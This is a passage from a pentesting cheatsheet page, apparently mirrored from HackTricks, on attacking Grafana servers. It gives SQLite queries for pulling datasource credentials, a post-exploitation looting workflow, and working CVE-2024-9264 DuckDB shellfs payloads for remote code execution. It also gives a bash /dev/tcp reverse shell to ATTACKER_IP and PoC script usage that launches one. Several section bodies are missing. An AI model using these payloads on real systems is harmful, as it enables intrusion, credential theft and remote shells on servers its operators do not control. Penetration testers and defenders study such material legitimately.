repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
grafana.mdMarkdown140 lines8.0 KiBsource raw download

title: "Grafana" section: "Network Services" sectionSlug: "network-services-pentesting" sourcePath: "src/network-services-pentesting/pentesting-web/grafana.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/grafana.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Grafana#

Interesting stuff#

Useful SQLite checks:

.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;

Looting datasources and secrets#

Grafana separates browser-readable configuration from encrypted secrets:[2]

Post-exploitation workflow:

  1. Dump grafana.ini and recover secret_key.
  2. Loot grafana.db and provisioning files.
  3. Enumerate datasources and plugin configuration to find reusable credentials and internal endpoints.
  4. If migrating or replaying the database in another Grafana instance, keep the same secret_key or stored datasource passwords/tokens will not decrypt correctly.[3]

Why secret_key matters in newer versions:[3]

Plugin attack surface#

Treat plugins as part of the target, not a footnote:

curl -s http://grafana.target/api/plugins | jq '.[].id'

CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI#

Grafana’s experimental SQL Expressions feature can evaluate DuckDB queries that embed user-controlled text. Insufficient sanitization allows attackers to chain DuckDB statements and load the community extension shellfs, which exposes shell commands via pipe-backed virtual files.[1][6]

Impact#

Quick Checks#

Manual Query Pattern Using DuckDB and shellfs#

Example SQL Expressions payloads that get passed to DuckDB:

-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');

Replace CMD with your desired command. For file-read (LFI) you can instead use DuckDB file functions to read local files.

One-Line Reverse-Shell Example#

bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"

Embed that as CMD in the first query while you have a listener: nc -lnvp 443.

Automated PoC#

Usage example

# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
  -c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
  http://grafana.target

If output shows uid=0(root), the Grafana process is running as root. Do not assume that is the default for all containers.

2025 client-side traversal / open redirect chain#

The 2025 Grafana client-side traversal and open-redirect chain is already documented in more generic client-side pages. Use those techniques against Grafana-specific paths such as plugin assets, dashboard script loaders, and token-rotation redirects:

Client Side Path Traversal

Open Redirect

References#